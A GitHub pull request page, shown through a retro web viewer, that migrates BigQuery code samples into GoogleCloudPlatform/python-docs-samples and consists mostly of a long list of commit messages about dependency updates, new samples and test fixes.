GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — migrate code from googleapis/python-bigquery by parthea · Pull Request #14589 · GoogleCloudPlatform/python-docs-samples

Conversation

@parthea

@parthea parthea commented Sep 8, 2026

Copy link
Copy Markdown
Collaborator
  • Add methods for Models API (chore(deps): update dependency google-cloud-translate to v3.7.2 #7562)
  • Move table and dataset snippets to samples/ directory (endpoints.getting-started.main_test: test_echo failed #7683)
  • Add sample demonstrating how to create a job. (cleanup(tests): Removing failing test, will be rewritten #8422)
  • Add Routines API. (chore(run/jobs): add retries for flaky Cloud Builds #8491)
  • Add to_arrow to get a pyarrow.Table from query results. (vision.snippets.product_search.import_product_sets_test: test_import_product_sets failed #8609)
  • BigQuery: deprecate client.dataset() part 1 (appengine.standard_python3.bundled-services.mail.wsgi.main_test: test_send_receive failed #9032)
  • Optionally include indexes in table written by load_table_from_dataframe. (compute.api.create_instance_test: test_main failed #9084)
  • docs(bigquery): standardize comments and formatting in existing code samples (batch.tests.test_bucket: test_bucket_job failed #9212)
  • feat(bigquery): add support for sheets ranges (hybrid_glossaries.hybrid_tutorial_test: test_translate_glossary failed #9416)
  • refactor(bigquery): update code samples to use strings for table and dataset IDs (chore(deps): update dependency google-cloud-texttospeech to v2.14.1 #9136)
  • feat(bigquery): add Dataset.default_partition_expiration_ms and Table.require_partition_filter properties ([DLP] Implemented dlp_deidentify_exception_list #9464)
  • doc(bigquery): add code sample for scripting (chore(deps): update dependency tensorflow [security] #9537)
  • chore(bigquery): format code with latest version of black (chore(deps): update dependency google-cloud-secret-manager to v2.16.1 #9556)
  • docs(bigquery): document how to achieve higher write limit and add tests (healthcare.api-client.v1.fhir.fhir_stores_test: test_patch_fhir_store failed #9574)
  • doc(bigquery): add table create sample using integer range partitioning (people-and-planet-ai.weather-forecasting.tests.dataset_tests.test_dataset: test_dataset failed #9478)
  • chore(bigquery): fix undelete table system test to use milliseconds in snapshot decorator (compute.client_library.snippets.tests.test_images: test_create_delete_image failed #9649)
  • refactor(bigquery): update code samples to use strings for table and dataset IDs (Remove IoT Core snippets after August 15 #9495)
  • docs(bigquery): add sample to read from query destination table (healthcare.api-client.v1.consent.attribute_definitions_test: test_CRUD_request_attribute_definition failed #9964)
  • feat(bigquery): add create_bqstorage_client param to to_dataframe and to_arrow (healthcare.api-client.v1.fhir.fhir_stores_test: test_get_fhir_store_metadata failed #9573)
  • refactor(bigquery): update code samples to use strings for table and dataset IDs (chore: update type hints to comply with PEP-0585 #9974)
  • cleanup(bigquery): remove unused query code sample (chore(deps): update dependency datasets to v2.12.0 #10024)
  • doc(bigquery): uncomment Client constructor and imports in samples (chore(fixit): update sample in dialogflow dir to use http signature #10058)
  • fix(bigquery): write pandas datetime[ns] columns to BigQuery TIMESTAMP columns (fix: Clean up Python sample at cloud-sql/mysql/client-side-encryption #10028)
  • refactor(bigquery): update code samples of load table file and uri (chore(deps): update dependency google-cloud-aiplatform to v1.25.0 #10175)
  • docs: use timeout in create dataset sample (Move monitoring sample in, modified for ADC. #52)
  • refactor(bigquery): update code samples of load table autodetect and truncate (Fix some formatting to make tests pass. #28)
  • Add veneer samples for BigQuery. (#444)
  • Add data loading samples
  • Add bigquery snippets
  • Remove unnecessary fixture
  • Address review comments
  • Fix lint
  • Address post-review comments for BigQuery samples
  • Add bigquery create and copy table examples (#514)
  • Auto-update dependencies. (#540)
  • Auto-update dependencies. (#542)
  • Move to google-cloud (#544)
  • Add new "quickstart" samples (#547)
  • BigQuery - use new QueryJob.results() method. (#555)
  • Quickstart tests (#569)
  • Generate readmes for most service samples (#599)
  • Generate most non-appengine readmes
  • Add missing bigquery samples (#622)
  • Update samples to support latest Google Cloud Python (#656)
  • Update readmes
  • Fix bigquery load from file sample
  • Fix lint
  • Adjusted error handling based on Googler feedback (#693)
  • Changed error handling for all other big query samples as well (#694)
  • Add bigquery shakespeare example (#604)
  • BigQuery parameterized query sample (#699)
  • Auto-update dependencies. (#715)
  • Remove cloud config fixture (#887)
  • Remove resource (#890)
  • BigQuery: named parameter query samples
  • Rename query file and use async method.
  • Indent queries.
  • Auto-update dependencies. (#916)
  • Re-generate all readmes
  • BigQuery: user credentials to run a query. (#925)
  • Auto-update dependencies. (#942)
  • Fix README rst links (#962)
  • Auto-update dependencies. (#1004)
  • BigQuery: add auth samples for service accounts.
  • Fix SQL query to return 10 rows & simplify (#1041)
  • Fix test randomness (#1043)
  • Fix test randomness (#1044)
  • Auto-update dependencies. (#1055)
  • Update readme references. Resolves 1059
  • Use futures API to wait for jobs to finish.
  • BQ: Use futures API for quickstart.
  • BigQuery : max_results changes page size not full list size
  • Remove max_results argument from table.fetch_data() call.
  • Remove unnecessary list() call
  • Auto-update dependencies. (#1093)
  • BigQuery : add sample for writing query results to a destination table. (#1101)
  • Auto-update dependencies. (#1128)
  • BigQuery: Updates samples for BigQuery Beta 2 (do not merge until release) (#1178)
  • Auto-update dependencies. (#1186)
  • Auto-update dependencies. (#1227)
  • /s/buckets/datasets in BigQuery auth sample (#1242)
  • Fix broken link to core Client service account helper. (#1256)
  • Added "Open in Cloud Shell" buttons to README files (#1254)
  • Move imports into bigquery samples
  • BigQuery: rewrite simple app tutorial.
  • Auto-update dependencies. (#1272)
  • Auto-update dependencies. (#1307)
  • Auto-update dependencies. (#1355)
  • Auto-update dependencies. (#1377)
  • Regenerate the README files and fix the Open in Cloud Shell link for some samples (#1441)
  • BigQuery: Remove unused samples (#1455)
  • BigQuery: Removes unused API samples (#1459)
  • Update READMEs to fix numbering and add git clone (#1464)
  • BigQuery: Moves BigQuery tutorial for Dataproc to python-docs-samples (#1494)
  • BigQuery: Adds authorized view tutorial (#1535)
  • Region tag end typo (#1536)
  • Code snippets for Jupyter data visualization tutorial (#1560)
  • updates last query per Steve's feedback (#1578)
  • updates tutorial to add datasets to to_delete before running (#1579)
  • Remove ipython Python 2 modifier from requirements.txt (#1675)
  • Auto-update dependencies. (#1846)
  • Refactor BQ user credentials sample to use region tags (#1952)
  • Make TODO clearer what action to take. (#1963)
  • Add missing explanation about local_server callback URL
  • Auto-update dependencies. (#1980)
  • BigQuery: Add sample for explicitly creating client from service acco… (#2312)
  • Adds updates including compute (#2436)
  • Simplify noxfile setup. (#2806)
  • fix: address issues with concurrent BigQuery tests (#3426)
  • chore(deps): update dependency pytz to v2019.3 (#3190)
  • chore(deps): update dependency matplotlib to v3.2.1 (#3180)
  • chore(deps): update dependency ipython to v7.13.0 (#3177)
  • chore(deps): update dependency google-cloud-bigquery to v1.24.0 (#3049)
  • chore(deps): update dependency pytz to v2020 (#3566)
  • chore(deps): update dependency ipython to v7.14.0 (#3670)
  • [bigquery] opt in to use the build specific projects (#3883)
  • chore(deps): update dependency ipython to v7.15.0 (#3917)
  • Replace GCLOUD_PROJECT with GOOGLE_CLOUD_PROJECT. (#4022)
  • Update dependency google-cloud-bigquery to v1.25.0 (#4024)
  • chore(deps): update dependency matplotlib to v3.2.2 (#4118)
  • Update dependency ipython to v7.16.1 (#4189)
  • chore(deps): update dependency pytest to v5.4.3 (#4279)
  • chore(deps): update dependency mock to v4 (#4287)
  • chore(deps): update dependency matplotlib to v3.3.0 (#4310)
  • chore: update templates
  • chore: change project env variable to use in tests
  • chore: fix samples tests dependencies
  • chore(deps): update dependency google-cloud-bigquery to v1.26.1 (managed_vms/analytics needs tests #180)
  • chore(deps): pin ipython to v7.17.0 for samples, python >= 3.7 (Deprecate X-Google-Metadata-Request in favor new Metadata-Flavor header #208)
  • chore(deps): update dependency matplotlib to v3.3.1 (Remove hardcoded sub-project from monitoring tests #224)
  • docs: recommend insert_rows_json to avoid call to tables.get (Mark Monitoring As Flaky #258)
  • fix: update minimum dependency versions (Add Sendgrid Region Tags #263)
  • chore: Prepare for 2.0 release (Updating requirements. #278)
  • chore(deps): update dependency google-cloud-bigquery to v2 (Add Async Sample Code #287)
  • docs(samples): add create_table_clustered code snippet (Added blobstore image example #291)
  • docs: update snippets samples to support version 2.0 (Sample fixup #309)
  • chore(deps): update dependency google-cloud-bigquery to v2.1.0 ( Complete Python Sample Code for Logging API #312)
  • chore(deps): update dependency matplotlib to v3.3.2 (Missed some ndb snippets #260)
  • chore(deps): update dependency grpcio to v1.33.1 (Updating datastore snippets #338)
  • chore(deps): update dependency google-auth-oauthlib to v0.4.2 (Adding test for taskqueue pull worker. Fixes #254 #349)
  • chore(deps): update dependency grpcio to v1.33.2 (Adding tests for managed_vms/analytics. Fixes #180 #350)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.0.1 (Update main.py #337)
  • chore(deps): update dependency google-cloud-bigquery to v2.2.0 (Update compute metadata hanging get example to use "wait_for_change". #333)
  • chore(deps): update dependency pandas to v1.1.4 (Adding sendgrid tests, fixes #182 #355)
  • docs(samples): add more clustering code snippets (create dockerfile to run echo service #330)
  • chore(deps): update dependency matplotlib to v3.3.3 (Add session for gRPC samples. #385)
  • chore(deps): update dependency google-cloud-bigquery to v2.3.1 (Add Bigtable hello world sample. #371)
  • chore(deps): update dependency google-cloud-bigquery to v2.4.0 (Flask tutorial samples #391)
  • chore(deps): update dependency pyarrow to v2 (Add region tag #380)
  • chore(deps): update dependency pytz to v2020.4 (Adding mailgun tests. Fixes #181 #356)
  • feat: add support for materialized views (Add flex redis sample #408)
  • chore(deps): update dependency grpcio to v1.34.0 (Speech beta #411)
  • chore(deps): update dependency google-cloud-bigquery to v2.5.0 (Wrong arg description #410)
  • docs: update intersphinx links (Adding async sample code to cloud speech. #404)
  • chore(deps): update dependency google-cloud-bigquery to v2.6.0 (Add gcloud-based storage usage samples. #419)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.1.0 (Adding error handlers to managed vms hello world samples. #369)
  • chore(deps): update dependency pandas to v1.1.5 (Fixing speech samples lost in merge. #417)
  • docs: add GEOGRAPHY data type code samples (Use gcloud beta app deploy for Endpoints #428)
  • docs: fix Shapely import in GEOGRAPHY sample (Auth samples for Endpoints. #431)
  • chore(deps): update dependency google-cloud-bigquery to v2.6.1 ([Speech] Error - CancellationError(code=StatusCode.CANCELLED, details="") #430)
  • docs: move and refresh view samples (Virtual env inst #420)
  • chore(deps): update dependency pytz to v2020.5 (Add audiences to the auth method sample #452)
  • chore(deps): update dependency pandas to v1.2.0 (Remove output only fields #454)
  • chore: remove six dependency (Add notes and troubleshooting for system deps #461)
  • chore(deps): update dependency google-cloud-bigquery to v2.6.2 (edits to flexible django_cloud sql README #466)
  • chore(deps): update dependency grpcio to v1.34.1 (Auto-update dependencies. #470)
  • chore(deps): update dependency grpcio to v1.35.0 (Add pubsub publisher and subscriber samples #477)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.2.1 (Auto-update dependencies. #485)
  • chore(deps): update dependency pyarrow to v3 (Remove local deployment from README #490)
  • chore(deps): update dependency google-cloud-bigquery to v2.7.0 (Add Firebase Auth sample #491)
  • chore(deps): update dependency matplotlib to v3.3.4 (Fix various issuers in appengine/flexible/endpoints/README.md #495)
  • chore: update shared templates (Make nox lint each sample individually #468)
  • chore(deps): update dependency pytz to v2021 (Organize speech samples into grpc vs REST #502)
  • test: add samples Python 3.9 test session (Fixed region tag typo and changed readme #506)
  • docs(bigquery): Add alternative approach to setting credentials (grpc streaming example crashes or hangs due to deadline seconds #517)
  • chore(deps): update dependency google-cloud-bigquery to v2.9.0 (grpc streaming example crashes and hangs #515)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.3.0 (Verify issuer claim #529)
  • chore(deps): update dependency google-cloud-bigquery to v2.10.0 (Taskqueue bug appyaml #535)
  • chore(deps): update dependency grpcio to v1.36.0 (Typo in BQ Standard SQL samples. #536)
  • chore(deps): update dependency grpcio to v1.36.1 (create_login_url - no clear guidance on making a custom login page #541)
  • chore(deps): update dependency google-auth-oauthlib to v0.4.3 (Auto-update dependencies. #542)
  • chore(deps): update dependency google-cloud-bigquery to v2.11.0 (Add DML samples for BigQuery. #546)
  • chore(deps): update dependency google-cloud-bigquery to v2.12.0 (Auto-update dependencies. #554)
  • chore(deps): update dependency google-cloud-bigquery to v2.13.0 (Merges the contents of index.html into the README for the Endpoints sample. #570)
  • chore(deps): update dependency google-auth-oauthlib to v0.4.4 (Auto-update dependencies. #578)
  • chore(deps): update dependency matplotlib to v3.4.1 (Fix link to bigtable happybase package. #576)
  • chore(deps): update dependency grpcio to v1.37.0 (adding new xmpp wikibot example #596)
  • chore: add constraints file check for python samples (Print the actual transcript. #601)
  • chore(deps): update dependency mock to v4.0.3 (Print out transcripts directly. #605)
  • docs: add sample to run DML query (Auto-update dependencies. #591)
  • chore(deps): update dependency pytest to v6 (Is it possible to record and upload the transcriptions from _transcribe_streaming.py? #606)
  • chore(deps): update dependency google-cloud-bigquery to v2.13.1 (Remove mention of going to / for the Endpoints sample. #573)
  • feat: add type hints for public methods (Remove accidental add. #613)
  • chore(deps): update dependency google-cloud-bigquery to v2.14.0 (Fix invocation for xmpp in README #627)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.4.0 (Manually add required padding before base64.b64decode. #595)
  • chore(deps): update dependency google-cloud-bigquery to v2.15.0 (audio format for Speech #639)
  • chore(deps): update dependency pyarrow to v4 (Add issue template. #641)
  • chore(deps): update dependency grpcio to v1.37.1 (.flac file plays fine, but the speech/transcribe.py returns empty JSON output #640)
  • chore(deps): update dependency pytest to v6.2.4 (gcs_uri error on speech/grpc transcribe call #647)
  • chore(deps): update dependency google-cloud-bigquery to v2.16.1 (Update NL sentiment analysis readme to use score #652)
  • chore(deps): update dependency grpcio to v1.38.0 (Updates to Google ID token service-to-service auth sample #674)
  • fix(tests): invalid path to strptime() (Storage Encryption Key Rotation Sample using Veneer + Tests #672)
  • chore(deps): update dependency google-cloud-bigquery to v2.17.0 (Add gRPC api config files. #675)
  • chore: new owl bot post processor docker image (Add raw bookstore server YAML file #677)
  • chore(deps): update dependency pyarrow to v4.0.1 (Add auth_token support for the grpc client. #681)
  • chore(deps): update dependency google-cloud-bigquery to v2.18.0 (Error while using this script from Google Cloud API #683)
  • chore(deps): update dependency google-cloud-bigquery to v2.19.0 (Update README.md #691)
  • chore(deps): update dependency google-cloud-bigquery to v2.20.0 (Changed error handling for all other BigQuery samples as well #694)
  • chore(deps): update dependency grpcio to v1.38.1 (Refactored the Sentiment Analysis tutorial to use the Cloud Client Lib #713)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.5.0 (Auto-update dependencies. #731)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.6.0 (README of translation API is old. #743)
  • chore(deps): update dependency google-cloud-bigquery to v2.21.0 (Add note about memcache whitelist #755)
  • docs: add loading data from Firestore backup sample (Update exception #737)
  • chore(deps): update dependency google-cloud-bigquery to v2.22.0 (Auto-update dependencies. #783)
  • feat: add Samples section to CONTRIBUTING.rst (Auto-update dependencies. #785)
  • docs: add sample to delete job metadata (Fix mon reginos #798)
  • chore(deps): update dependency grpcio to v1.39.0 (Monitoring Region Tags #796)
  • chore(deps): update dependency google-cloud-bigquery to v2.22.1 (Added securityDef region tag to openapi.yaml for documentation purposes #800)
  • chore(deps): update dependency google-cloud-bigquery to v2.23.0 (Removed duplicate endpoints sample - now at endpoints/getting-started #820)
  • chore(deps): update dependency google-cloud-bigquery to v2.23.1 (Vision 1.1 #827)
  • chore(deps): update dependency pyarrow to v5 (Minute workaround #834)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.6.2 (Possible duplicate examples for Endpoints on Flex in repo #795)
  • chore(deps): update dependency google-auth-oauthlib to v0.4.5 (Improvess consistency in docs and fixes links in restructured text #839)
  • chore(deps): update dependency google-cloud-bigquery to v2.23.2 (Simplify the memcache sample #838)
  • chore(deps): update dependency google-cloud-testutils to v1 (Code samples for Identity-Aware Proxy #845)
  • chore(deps): update dependency google-cloud-bigquery to v2.23.3 (Auto-update dependencies. #866)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.6.3 (Update README.md #863)
  • chore: fix INSTALL_LIBRARY_FROM_SOURCE in noxfile.py (README.md =~ s/PROJET_ID/PROJECT_ID/ #869)
  • chore(deps): update dependency google-cloud-bigquery to v2.24.0 (An attempt at flattening the detect example #873)
  • chore: drop mention of Python 2.7 from templates (Replaces test video for faces #877)
  • fix: remove pytz dependency and require pyarrow>=3.0.0 (Adds storage Pub/Sub notification polling tutorial #875)
  • chore(deps): update dependency google-cloud-bigquery to v2.24.1 (Remove cloud config fixture #887)
  • feat: Support using GeoPandas for GEOGRAPHY columns (Added stuff #848)
  • chore(deps): update dependency numpy to v1.21.2 (Speech version bump #899)
  • chore(deps): update dependency google-cloud-core to v2 (Update transcribe_async.py to have long GCS flac example #904)
  • chore(deps): update dependency google-cloud-bigquery to v2.25.0 (unexpected keyword argument error in transcribe_async.py #907)
  • chore(deps): update dependency pandas to v1.3.2 (Removes samples that don't use the cloud client library #900)
  • docs: update docstring for bigquery_create_routine sample (Fixing closing body tag. #883) (Changed the endpoint from v1beta1 to v1 #917)
  • chore(deps): update all dependencies (Auto-update dependencies. #914)
  • chore(deps): update all dependencies (Fix typo #926)
  • chore(deps): update all dependencies (Update spanner sample to use bind parameters #928)
  • chore(deps): update dependency google-cloud-bigquery to v2.26.0 (Add App Engine-specific "host" field. #938)
  • chore: update system tests and samples to use and @google.com email address (Auto-update dependencies. #942)
  • test: fix routine DDL sample test exits too early (V1 Speech grpc streaming #932)
  • chore(deps): update all dependencies (Auto-update dependencies. #939)
  • chore(deps): update all dependencies (Add Bigtable Autoscaler sample #943)
  • docs: simplify destination table sample with f-strings (Firebase libraries out of date in firenotes example #966)
  • chore(deps): update all dependencies (Google Speech API - how to catch grpc errors and close recognition correctly in speechv1 #963)
  • chore(deps): update all dependencies (Auto-update dependencies. #992)
  • chore: fail samples nox session if python version is missing (Added google-api-python-client to ml_engine requirements.txt. #997)
  • chore(deps): update all dependencies (Auto-update dependencies. #993)
  • chore(python): Add kokoro configs for python 3.10 samples testing (BigQuery export results in temp files #1010)
  • docs(samples): add create external table with hive partitioning (Auto-update dependencies. #1033)
  • docs: add code samples for Jupyter/IPython magics (Speech sample using microphone #1013)
  • chore: use gapic-generator-python 0.53.4 (Auto-update dependencies. #1037)
  • feat: support Python 3.10 (Fix test randomness #1043)
  • docs: show gcloud command to authorize against sheets (Add bucket label samples #1045)
  • docs: add sample for revoking dataset access (Removes examples on non-cloud library #778)
  • chore: update python-docs-samples link to main branch (Adding sample for making IAP request using service account with user-managed keys #1082)
  • feat: support authorized dataset entity (KMS: Make the encrypt/decrypt samples consistent with the other languages #1075)
  • chore(deps): update all dependencies (Auto-update dependencies. #1005)
  • test: skip failing copy table tests (updates firebaseui version #1090)
  • chore(deps): update all dependencies (Auto-update dependencies. #1089)
  • chore(deps): update all dependencies (Change *.cloud.goog to *.appspot.com #1091)
  • chore(deps): update all dependencies (Print all results, not all alternatives #1098)
  • chore(samples): Add check for tests in directory (annotations.proto was not found or had errors #1103)
  • chore(deps): update all dependencies (BigQuery : add sample for writing query results to a destination table. #1101)
  • chore(python): Noxfile recognizes that tests can live in a folder (Add required flag on certain arguments to command-line tools #1115)
  • docs: show common job properties in get_job and cancel_job samples (Update Task Queue samples for beta #1137)
  • chore(deps): update dependency ipython to v8.0.1 [security] (Adding machine-type parameters to create_cluster() function #1126)
  • chore(deps): update dependency ipython [security] (Update app.yaml #1154)
  • samples: remove browser option from user credentials sample (Samples for Firestore #1147)
  • deps: allow pyarrow 7.0 (add another script to generate google id token. #1112)
  • chore: Adding support for pytest-xdist and pytest-parallel (Tweak doc/help strings for sample tools  #1160)
  • chore(deps): update all dependencies (Bigtable autoscaler: use size variable #1156)
  • chore(deps): update all dependencies (ImportError: No module named gapic.longrunning #1162)
  • chore(deps): update all dependencies (Can't transcribe a file... #1163)
  • fix: upgrade black (Auto-update dependencies. #1177)
  • fix!: remove out-of-date BigQuery ML protocol buffers (BigQuery: Updates samples for BigQuery Beta 2 (do not merge until release) #1178)
  • chore(deps): update all dependencies (Changes to running the Python MQTT example #1164)
  • chore(deps): update all dependencies (incorrect example #1183)
  • chore: use === in requirements.txt for environment specific pins (Auto-update dependencies. #1184)
  • chore(deps): update all dependencies (Fixed failed tests on Kokoro (Natural Language API) #1185)
  • chore(deps): update all dependencies (Fixed failed tests on Kokoro (Spanner + Translate) #1192)
  • chore(deps): update dependency click to v8.1.2 (Adds token refresh to MQTT example. #1197)
  • chore(deps): update all dependencies (User FireStore instead of Cloud DataStore #1200)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.13.1 (Fixed Failed Kokoro Test (Dataproc) #1203)
  • chore(deps): update dependency google-auth to v2.6.3 (Fixed b/65407087 #1206)
  • chore(deps): update dependency pyparsing to v3.0.8 (Issue Removing Last IAM Member from Bucket #1210)
  • chore(deps): update dependency google-cloud-core to v2.3.0 (Vision beta #1211)
  • chore(deps): update dependency google-auth to v2.6.4 (Permission Issues #1214)
  • chore(deps): update dependency google-api-core to v2.7.2 (Auto-update dependencies. #1215)
  • fix: export bigquery.HivePartitioningOptions (Auto-update dependencies. #1217)
  • chore(deps): update dependency google-auth to v2.6.5 (Convert tasks example to use logging for testability #1219)
  • chore(deps): update dependency typing-extensions to v4.2.0 (update samples to v1 #1221)
  • chore(python): add nox session to sort python imports (Decoding step is terribly slow #1224)
  • chore(deps): update all dependencies (Auto-update dependencies. #1227)
  • chore(deps): update dependency pytest to v7.1.2 (Consistency with other quickstarts #1229)
  • chore(deps): update dependency click to v8.1.3 (Add sample for standard library logging handler configuration #1233)
  • chore(deps): update dependency ipython to v8.3.0 (Auto-update dependencies. #1234)
  • chore(deps): update dependency google-api-core to v2.7.3 (Move IAP Refresh sample. #1236)
  • chore(deps): update dependency matplotlib to v3.5.2 (Fix the docker run command #1237)
  • chore(deps): update all dependencies (grpc._channel._Rendezvous: <_Rendezvous of RPC that terminated with (StatusCode.RESOURCE_EXHAUSTED, Resource has been exhausted (e.g check quota).)> #1238)
  • docs: updated variable typo in comment in code sample (Auto-update dependencies. #1239)
  • chore: update all dependencies (remove empty input_uri #1244)
  • chore(deps): update dependency pyparsing to v3.0.9 (remove unicode #1246)
  • chore(deps): update dependency libcst to v0.4.3 (Request payload size exceeds the limit: 157286 bytes. #1247)
  • chore(deps): update dependency grpcio to v1.46.1 (Changed the name of container-engine.yaml to deployment.yaml. #1249)
  • chore(deps): update dependency googleapis-common-protos to v1.56.1 (Updated the certificate #1251)
  • chore(deps): update all dependencies (Disable another FACE_DETECTION test #1253)
  • chore(deps): update all dependencies (Tests for device over HTTP and adds example for getting configuration. #1255)
  • feat: add support for table clones (TransportError: ('Connection broken: IncompleteRead(208 bytes read)', IncompleteRead(208 bytes read)) #1235)
  • chore(deps): update all dependencies ([fix] Django 2.0 doesn't work with Python 2.7, rollback to 1.11.8 #1258)
  • chore(deps): update all dependencies (Cloud IoT Core: mqtt: SERVER:The authorization token expired. #1264)
  • docs(samples): add table snapshot sample (Auto-update dependencies. #1274)
  • fix: require python 3.7+ (ssl_transport_security.cc:976] Handshake failed with fatal error SSL_ERROR_SSL #1284)
  • docs(samples): explicitly add bq to samples reqs, upgrade grpc to fix bug on m1 (Admin Console not working in tutorial "Running Django in the App Engine Flexible Environment" #1290)
  • chore(deps): update all dependencies (Add region tags for getting config. #1301)
  • chore(deps): update all dependencies (Pub / Sub list_subscriptions_in_topic uses wrong method #1305)
  • chore(deps): update all dependencies (Update main.py #1308)
  • chore(deps): update all dependencies (fix message.payload str casting. #1313)
  • chore(deps): update dependency pytz to v2022.2.1 (Auto-update dependencies. #1316)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.14.2 (Auto-update dependencies. #1317)
  • chore(deps): update dependency shapely to v1.8.3 (Auto-update dependencies. #1320)
  • chore(deps): update all dependencies (Add comment about requirement order in endpoints sample. #1322)
  • chore(deps): update all dependencies (Fixed settings.py incompatible with Django 2.0 #1323)
  • chore(deps): update dependency proto-plus to v1.22.1 (Add examples for creating push subscriptions and updating subscriptions #1330)
  • chore(deps): update dependency pandas to v1.4.4 (Add tests for creating push subscription. #1332)
  • chore(deps): update dependency google-crc32c to v1.5.0 (Error when run transcribe_streaming_mic.py #1334)
  • fix: uses function (create_job) more appropriate to the described sample intent (Auto-update dependencies. #1309)
  • chore(deps): update all dependencies (Vision API features update #1339)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.15.0 (F*cking transcribe_streaming_mic and streamcloud speech api #1342)
  • chore(deps): update dependency certifi to v2022.6.15.1 (Auto-update dependencies. #1346)
  • chore: detect samples tests in nested directories (Add sample for sending file from GCS to IoT device #1349)
  • chore(deps): update all dependencies (Revert "Vision API features update" #1351)
  • chore(deps): update dependency google-api-core to v2.10.1 (Vision API features update #1353)
  • chore(deps): update all dependencies (Auto-update dependencies. #1354)
  • chore(deps): update all dependencies (WebSocket and Session Affinity beta samples #1358)
  • chore(deps): update all dependencies (Update GAE Standard BQ sample to use google-cloud liibarary #1360)
  • chore(deps): update dependency db-dtypes to v1.0.4 (Speech model selection #1361)
  • chore(deps): update all dependencies (UnicodeDecodeError: 'utf8' codec can't decode byte 0x8b in position 1: invalid start byte #1363)
  • chore(deps): update all dependencies (flac encoding vs. headers: google.api_core.exceptions.InvalidArgument: 400 Specify FLAC encoding to match file header. #1380)
  • feat: reconfigure tqdm progress bar in %%bigquery magic (Auto-update dependencies. #1355)
  • chore(deps): update all dependencies (Removing basePath = "\" from openApi spec file #1382)
  • fix: corrects test for non-existent attribute (Import ssl, set TLS v1.2 #1395)
  • chore(python): drop flake8-import-order in samples noxfile (vision API: fix landmark sample #1424)
  • docs: created samples for load table and create table from schema file (Speech API: enhanced model and recognition metadata #1436)
  • docs: create sample to write schema file from table (i am getting some sort of environment error at this point " db = firestore.Client()" #1439)
  • docs: revise sample for nested schema (add Speech API auto punctuation sample #1446)
  • chore: install all sample dependencies when type checking samples (BigQuery: Remove unused samples #1455)
  • docs: revise label table code samples (Django 2.0 doesn't support Python 2.7 mismatch with official Cloud Platform tutorial #1451)
  • docs: revise create table cmek sample (Set up presubmit test configs. #1452)
  • chore(python): add support for python 3.11 [autoapprove] (Collect sponge_log.xmls to render in test fusion. #1454)
  • chore(deps): update dependency certifi to v2022.12.7 [security] (Fixes iot_list_registries closing region tag #1434)
  • chore(deps): update all dependencies (Auto-update dependencies. #1390)
  • chore(deps): update all dependencies (RecognitionConfig has no "enable_automatic_punctuation" field #1456)
  • chore(deps): update all dependencies (detect-pdf update #1460)
  • chore(deps): update all dependencies (Vue example  #1461)
  • docs: revise get table labels code sample, add TODO to clean up snipp… (Update READMEs to fix numbering and add git clone #1464)
  • chore(deps): update dependency packaging to v23 (Update repo tools to fix tests #1462)
  • docs: revise delete label table code sample, add TODO to clean up sni… (Add a direct link to enable the API. #1466)
  • docs: adds snippet for creating table with external data config (Vision API OCR PDF/TIFF sample #1420)
  • chore(deps): update all dependencies (PermissionDenied: 403 Error opening file: gs://myocrbucket-v/2.pdf. #1471)
  • chore(deps): update all dependencies (Stackdriver monitoring alerts sample. #1475)
  • docs(samples): table variable fix (Region tag must start in column 1 #1287)
  • chore(deps): update dependency google-cloud-bigquery-storage to v2.18.1 (Translate words which is taken from excel using python through google translate. #1476)
  • chore(deps): update dependency geojson to v3 ( Sample's for stackdriver's uptime check api. #1478)
  • chore(deps): update all dependencies (The initialization is very slow #1479)
  • chore(deps): update dependency shapely to v2.0.1 (Fix AppEngine Endpoints example. #1480)
  • chore(deps): update dependency fiona to v1.9.0 (Django Postgres on GoogleCloud Platform #1482)
  • chore(deps): update dependency google-cloud-bigquery to v3.5.0 (Typo in attribute name in pubsub notification polling example #1485)
  • chore(deps): update all dependencies to v1 (Fix Datastore region tags. #1486)
  • chore(deps): update all dependencies (Example for Endpoints gRPC backend with HTTP/JSON transcoding. #1501)
  • chore(deps): update all dependencies (Request contains no InfoTypes or CustomInfoTypes, however an InfoTypeTransformation was included that had no InfoType name included. #1513)
  • chore(deps): update all dependencies (Add Cloud Bigtable quickstart #1514)
  • chore(deps): update dependency charset-normalizer to v3.1.0 (Fix the vision geo test. #1518)
  • chore(deps): update all dependencies (Move ocr pdf/tiff samples to GA #1522)
  • chore(deps): update all dependencies (Error when I try to run example code: from grpc._cython import cygrpc as _cygrpc ImportError: cannot import name 'cygrpc' #1540)
  • chore(deps): update all dependencies (Create tableadmin sample for python #1549)
  • chore(deps): update dependency google-cloud-bigquery to v3.10.0 (Diarization #1556)
  • chore(deps): update all dependencies (Multichannel #1557)
  • chore(deps): update dependency requests to v2.31.0 [security] (require gunicorn for GAE flex Cloud Tasks example #1573)
  • chore(deps): update all dependencies (Adds code snippets for Jupyter data visualization tutorial #1560)
  • chore(deps): update all dependencies (Add Python dependencies example workflow. #1576)
  • chore(deps): update all dependencies (Composer: Add KubernetesPodOperator sample code #1577)
  • chore(deps): update all dependencies (Pub/Sub Sample for App Engine Standard #1606)
  • test: enable copy table tests (Add IAM doc snippets #1609)
  • chore(deps): update all dependencies (Update vision web_detect test image #1607)
  • chore(deps): bump certifi in /samples/geography (Update README.rst #1627)
  • chore(deps): update all dependencies (Fix GCE deployment scripts for Cloud Memorystore #1626)
  • chore(deps): update all dependencies ( Added timeout in error handling #1636)
  • chore(docs): update region tag and move sample and test (Make parameter names consistent with Node samples #1648)
  • docs: Revise update_table_expiration sample (Fix broken datastore test_cursor_paging. #1457)
  • docs: revised create_partitioned_table sample (Not current with the gcr.io/endpoints-release #1447)
